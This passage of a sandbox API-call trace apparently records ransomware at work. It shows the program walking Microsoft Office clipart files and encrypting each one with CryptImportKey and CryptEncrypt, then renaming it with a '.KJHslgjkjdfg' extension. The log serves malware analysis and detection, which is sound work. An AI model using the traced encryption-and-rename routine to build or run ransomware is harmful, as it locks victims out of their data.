[0201.447] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0201.447] WriteFile (in: hFile=0x130, lpBuffer=0x27d0020*, nNumberOfBytesToWrite=0x24e0, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesWritten=0x29df270*=0x24e0, lpOverlapped=0x0) returned 1 [0201.447] CryptDestroyKey (hKey=0x9b6628) returned 1 [0201.447] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x25b4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0201.447] SetEndOfFile (hFile=0x130) returned 1 [0201.450] GetProcessHeap () returned 0x990000 [0201.450] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9af7b0 | out: hHeap=0x990000) returned 1 [0201.450] GetProcessHeap () returned 0x990000 [0201.450] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9adfd0 | out: hHeap=0x990000) returned 1 [0201.450] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0321179.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0321179.jpg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0321179.JPG.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0321179.jpg.kjhslgjkjdfg")) returned 1 [0201.452] CloseHandle (hObject=0x130) returned 1 [0201.452] FindNextFileW (in: hFindFile=0x9b64e8, lpFindFileData=0x29df300 | out: lpFindFileData=0x29df300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x78964d00, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x5674c1b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x78964d00, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x2ff8, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="J0324694.WMF", cAlternateFileName="")) returned 1 [0201.452] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0324694.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0324694.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0201.453] GetProcessHeap () returned 0x990000 [0201.453] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x10) returned 0x9adfd0 [0201.453] CryptGenRandom (in: hProv=0x9acd90, dwLen=0x10, pbBuffer=0x9adfd0 | out: pbBuffer=0x9adfd0) returned 1 [0201.453] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df290 | out: lpNewFilePointer=0x0) returned 1 [0201.453] WriteFile (in: hFile=0x130, lpBuffer=0x29df2a0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df2a0*, lpNumberOfBytesWritten=0x29df270*=0x8, lpOverlapped=0x0) returned 1 [0201.455] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4bf8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0201.455] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0201.455] GetProcessHeap () returned 0x990000 [0201.455] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x40) returned 0x9af7b0 [0201.456] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40, dwBufLen=0x40 | out: pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40) returned 1 [0201.456] CryptDestroyKey (hKey=0x9b6628) returned 1 [0201.456] WriteFile (in: hFile=0x130, lpBuffer=0x9af7b0*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9af7b0*, lpNumberOfBytesWritten=0x29df270*=0x40, lpOverlapped=0x0) returned 1 [0201.456] WriteFile (in: hFile=0x130, lpBuffer=0x29df278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df278*, lpNumberOfBytesWritten=0x29df270*=0x4, lpOverlapped=0x0) returned 1 [0201.456] WriteFile (in: hFile=0x130, lpBuffer=0x9adfd0*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9adfd0*, lpNumberOfBytesWritten=0x29df270*=0x10, lpOverlapped=0x0) returned 1 [0201.456] WriteFile (in: hFile=0x130, lpBuffer=0x9b53e0*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9b53e0*, lpNumberOfBytesWritten=0x29df270*=0x80, lpOverlapped=0x0) returned 1 [0201.456] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df298 | out: lpNewFilePointer=0x0) returned 1 [0201.456] WriteFile (in: hFile=0x130, lpBuffer=0x29df288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df288*, lpNumberOfBytesWritten=0x29df270*=0x8, lpOverlapped=0x0) returned 1 [0201.456] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4bf8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0201.456] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0201.457] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0201.457] ReadFile (in: hFile=0x130, lpBuffer=0x27d0020, nNumberOfBytesToRead=0x2ff8, lpNumberOfBytesRead=0x29df27c, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesRead=0x29df27c*=0x2ff8, lpOverlapped=0x0) returned 1 [0201.458] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x27d0020*, pdwDataLen=0x29df258*=0x3000, dwBufLen=0x3000 | out: pbData=0x27d0020*, pdwDataLen=0x29df258*=0x3000) returned 1 [0201.458] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0201.458] WriteFile (in: hFile=0x130, lpBuffer=0x27d0020*, nNumberOfBytesToWrite=0x3000, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesWritten=0x29df270*=0x3000, lpOverlapped=0x0) returned 1 [0201.458] CryptDestroyKey (hKey=0x9b6628) returned 1 [0201.458] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x30d4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0201.458] SetEndOfFile (hFile=0x130) returned 1 [0201.461] GetProcessHeap () returned 0x990000 [0201.461] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9af7b0 | out: hHeap=0x990000) returned 1 [0201.461] GetProcessHeap () returned 0x990000 [0201.461] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9adfd0 | out: hHeap=0x990000) returned 1 [0201.462] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0324694.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0324694.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0324694.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0324694.wmf.kjhslgjkjdfg")) returned 1 [0201.463] CloseHandle (hObject=0x130) returned 1 [0201.463] FindNextFileW (in: hFindFile=0x9b64e8, lpFindFileData=0x29df300 | out: lpFindFileData=0x29df300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x78964d00, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x66188a70, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x78964d00, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x2e7e, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="J0324704.WMF", cAlternateFileName="")) returned 1 [0201.463] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0324704.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0324704.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0201.464] GetProcessHeap () returned 0x990000 [0201.464] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x10) returned 0x9adfd0 [0201.464] CryptGenRandom (in: hProv=0x9acd90, dwLen=0x10, pbBuffer=0x9adfd0 | out: pbBuffer=0x9adfd0) returned 1 [0201.464] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df290 | out: lpNewFilePointer=0x0) returned 1 [0201.464] WriteFile (in: hFile=0x130, lpBuffer=0x29df2a0*, nNumberOfBytesToWrite=0x2, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df2a0*, lpNumberOfBytesWritten=0x29df270*=0x2, lpOverlapped=0x0) returned 1 [0201.467] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4d80, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0201.468] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0201.468] GetProcessHeap () returned 0x990000 [0201.468] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x40) returned 0x9af7b0 [0201.468] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40, dwBufLen=0x40 | out: pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40) returned 1 [0201.468] CryptDestroyKey (hKey=0x9b6628) returned 1 [0201.468] WriteFile (in: hFile=0x130, lpBuffer=0x9af7b0*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9af7b0*, lpNumberOfBytesWritten=0x29df270*=0x40, lpOverlapped=0x0) returned 1 [0201.468] WriteFile (in: hFile=0x130, lpBuffer=0x29df278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df278*, lpNumberOfBytesWritten=0x29df270*=0x4, lpOverlapped=0x0) returned 1 [0201.468] WriteFile (in: hFile=0x130, lpBuffer=0x9adfd0*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9adfd0*, lpNumberOfBytesWritten=0x29df270*=0x10, lpOverlapped=0x0) returned 1 [0201.468] WriteFile (in: hFile=0x130, lpBuffer=0x9b1ba8*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9b1ba8*, lpNumberOfBytesWritten=0x29df270*=0x80, lpOverlapped=0x0) returned 1 [0201.468] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df298 | out: lpNewFilePointer=0x0) returned 1 [0201.468] WriteFile (in: hFile=0x130, lpBuffer=0x29df288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df288*, lpNumberOfBytesWritten=0x29df270*=0x8, lpOverlapped=0x0) returned 1 [0201.468] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4d80, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0201.468] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0201.468] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0201.469] ReadFile (in: hFile=0x130, lpBuffer=0x27d0020, nNumberOfBytesToRead=0x2e7e, lpNumberOfBytesRead=0x29df27c, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesRead=0x29df27c*=0x2e7e, lpOverlapped=0x0) returned 1 [0201.470] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x27d0020*, pdwDataLen=0x29df258*=0x2e80, dwBufLen=0x2e80 | out: pbData=0x27d0020*, pdwDataLen=0x29df258*=0x2e80) returned 1 [0201.470] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0201.470] WriteFile (in: hFile=0x130, lpBuffer=0x27d0020*, nNumberOfBytesToWrite=0x2e80, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesWritten=0x29df270*=0x2e80, lpOverlapped=0x0) returned 1 [0201.470] CryptDestroyKey (hKey=0x9b6628) returned 1 [0201.470] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x2f54, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0201.470] SetEndOfFile (hFile=0x130) returned 1 [0201.473] GetProcessHeap () returned 0x990000 [0201.473] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9af7b0 | out: hHeap=0x990000) returned 1 [0201.473] GetProcessHeap () returned 0x990000 [0201.473] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9adfd0 | out: hHeap=0x990000) returned 1 [0201.473] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0324704.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0324704.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0324704.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0324704.wmf.kjhslgjkjdfg")) returned 1 [0201.475] CloseHandle (hObject=0x130) returned 1 [0201.475] FindNextFileW (in: hFindFile=0x9b64e8, lpFindFileData=0x29df300 | out: lpFindFileData=0x29df300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x78964d00, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x56772310, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x78964d00, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x3260, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="J0337280.JPG", cAlternateFileName="")) returned 1 [0201.475] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0337280.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0337280.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0201.476] GetProcessHeap () returned 0x990000 [0201.476] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x10) returned 0x9adfd0 [0201.476] CryptGenRandom (in: hProv=0x9acd90, dwLen=0x10, pbBuffer=0x9adfd0 | out: pbBuffer=0x9adfd0) returned 1 [0201.476] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df290 | out: lpNewFilePointer=0x0) returned 1 [0201.476] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4bf8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0201.476] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0201.476] GetProcessHeap () returned 0x990000 [0201.476] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x40) returned 0x9af7b0 [0201.476] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40, dwBufLen=0x40 | out: pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40) returned 1 [0201.476] CryptDestroyKey (hKey=0x9b6628) returned 1 [0201.476] WriteFile (in: hFile=0x130, lpBuffer=0x9af7b0*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9af7b0*, lpNumberOfBytesWritten=0x29df270*=0x40, lpOverlapped=0x0) returned 1 [0201.541] WriteFile (in: hFile=0x130, lpBuffer=0x29df278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df278*, lpNumberOfBytesWritten=0x29df270*=0x4, lpOverlapped=0x0) returned 1 [0201.541] WriteFile (in: hFile=0x130, lpBuffer=0x9adfd0*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9adfd0*, lpNumberOfBytesWritten=0x29df270*=0x10, lpOverlapped=0x0) returned 1 [0201.541] WriteFile (in: hFile=0x130, lpBuffer=0x9b53e0*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9b53e0*, lpNumberOfBytesWritten=0x29df270*=0x80, lpOverlapped=0x0) returned 1 [0201.541] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df298 | out: lpNewFilePointer=0x0) returned 1 [0201.541] WriteFile (in: hFile=0x130, lpBuffer=0x29df288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df288*, lpNumberOfBytesWritten=0x29df270*=0x8, lpOverlapped=0x0) returned 1 [0201.541] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4bf8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0201.541] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0201.541] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0201.541] ReadFile (in: hFile=0x130, lpBuffer=0x27d0020, nNumberOfBytesToRead=0x3260, lpNumberOfBytesRead=0x29df27c, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesRead=0x29df27c*=0x3260, lpOverlapped=0x0) returned 1 [0201.542] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x27d0020*, pdwDataLen=0x29df258*=0x3260, dwBufLen=0x3260 | out: pbData=0x27d0020*, pdwDataLen=0x29df258*=0x3260) returned 1 [0201.542] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0201.542] WriteFile (in: hFile=0x130, lpBuffer=0x27d0020*, nNumberOfBytesToWrite=0x3260, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesWritten=0x29df270*=0x3260, lpOverlapped=0x0) returned 1 [0201.543] CryptDestroyKey (hKey=0x9b6628) returned 1 [0201.543] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x3334, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0201.543] SetEndOfFile (hFile=0x130) returned 1 [0201.545] GetProcessHeap () returned 0x990000 [0201.545] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9af7b0 | out: hHeap=0x990000) returned 1 [0201.545] GetProcessHeap () returned 0x990000 [0201.545] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9adfd0 | out: hHeap=0x990000) returned 1 [0201.545] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0337280.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0337280.jpg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0337280.JPG.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0337280.jpg.kjhslgjkjdfg")) returned 1 [0201.547] CloseHandle (hObject=0x130) returned 1 [0201.547] FindNextFileW (in: hFindFile=0x9b64e8, lpFindFileData=0x29df300 | out: lpFindFileData=0x29df300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x78964d00, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x66188a70, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x78964d00, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x27d4, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="J0341328.JPG", cAlternateFileName="")) returned 1 [0201.547] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0341328.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0341328.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0201.548] GetProcessHeap () returned 0x990000 [0201.548] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x10) returned 0x9adfd0 [0201.548] CryptGenRandom (in: hProv=0x9acd90, dwLen=0x10, pbBuffer=0x9adfd0 | out: pbBuffer=0x9adfd0) returned 1 [0201.548] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df290 | out: lpNewFilePointer=0x0) returned 1 [0201.549] WriteFile (in: hFile=0x130, lpBuffer=0x29df2a0*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df2a0*, lpNumberOfBytesWritten=0x29df270*=0xc, lpOverlapped=0x0) returned 1 [0201.550] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4d80, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0201.550] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0201.550] GetProcessHeap () returned 0x990000 [0201.550] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x40) returned 0x9af7b0 [0201.550] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40, dwBufLen=0x40 | out: pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40) returned 1 [0201.550] CryptDestroyKey (hKey=0x9b6628) returned 1 [0201.550] WriteFile (in: hFile=0x130, lpBuffer=0x9af7b0*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9af7b0*, lpNumberOfBytesWritten=0x29df270*=0x40, lpOverlapped=0x0) returned 1 [0201.551] WriteFile (in: hFile=0x130, lpBuffer=0x29df278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df278*, lpNumberOfBytesWritten=0x29df270*=0x4, lpOverlapped=0x0) returned 1 [0201.551] WriteFile (in: hFile=0x130, lpBuffer=0x9adfd0*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9adfd0*, lpNumberOfBytesWritten=0x29df270*=0x10, lpOverlapped=0x0) returned 1 [0201.551] WriteFile (in: hFile=0x130, lpBuffer=0x9b1ba8*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9b1ba8*, lpNumberOfBytesWritten=0x29df270*=0x80, lpOverlapped=0x0) returned 1 [0201.551] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df298 | out: lpNewFilePointer=0x0) returned 1 [0201.551] WriteFile (in: hFile=0x130, lpBuffer=0x29df288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df288*, lpNumberOfBytesWritten=0x29df270*=0x8, lpOverlapped=0x0) returned 1 [0201.551] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4d80, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0201.551] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0201.551] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0201.551] ReadFile (in: hFile=0x130, lpBuffer=0x27d0020, nNumberOfBytesToRead=0x27d4, lpNumberOfBytesRead=0x29df27c, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesRead=0x29df27c*=0x27d4, lpOverlapped=0x0) returned 1 [0201.552] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x27d0020*, pdwDataLen=0x29df258*=0x27e0, dwBufLen=0x27e0 | out: pbData=0x27d0020*, pdwDataLen=0x29df258*=0x27e0) returned 1 [0201.552] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0201.552] WriteFile (in: hFile=0x130, lpBuffer=0x27d0020*, nNumberOfBytesToWrite=0x27e0, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesWritten=0x29df270*=0x27e0, lpOverlapped=0x0) returned 1 [0201.552] CryptDestroyKey (hKey=0x9b6628) returned 1 [0201.552] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x28b4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0201.552] SetEndOfFile (hFile=0x130) returned 1 [0201.554] GetProcessHeap () returned 0x990000 [0201.554] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9af7b0 | out: hHeap=0x990000) returned 1 [0201.554] GetProcessHeap () returned 0x990000 [0201.554] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9adfd0 | out: hHeap=0x990000) returned 1 [0201.554] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0341328.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0341328.jpg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0341328.JPG.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0341328.jpg.kjhslgjkjdfg")) returned 1 [0201.556] CloseHandle (hObject=0x130) returned 1 [0201.556] FindNextFileW (in: hFindFile=0x9b64e8, lpFindFileData=0x29df300 | out: lpFindFileData=0x29df300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x78964d00, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x56772310, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x78964d00, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x2cdd, 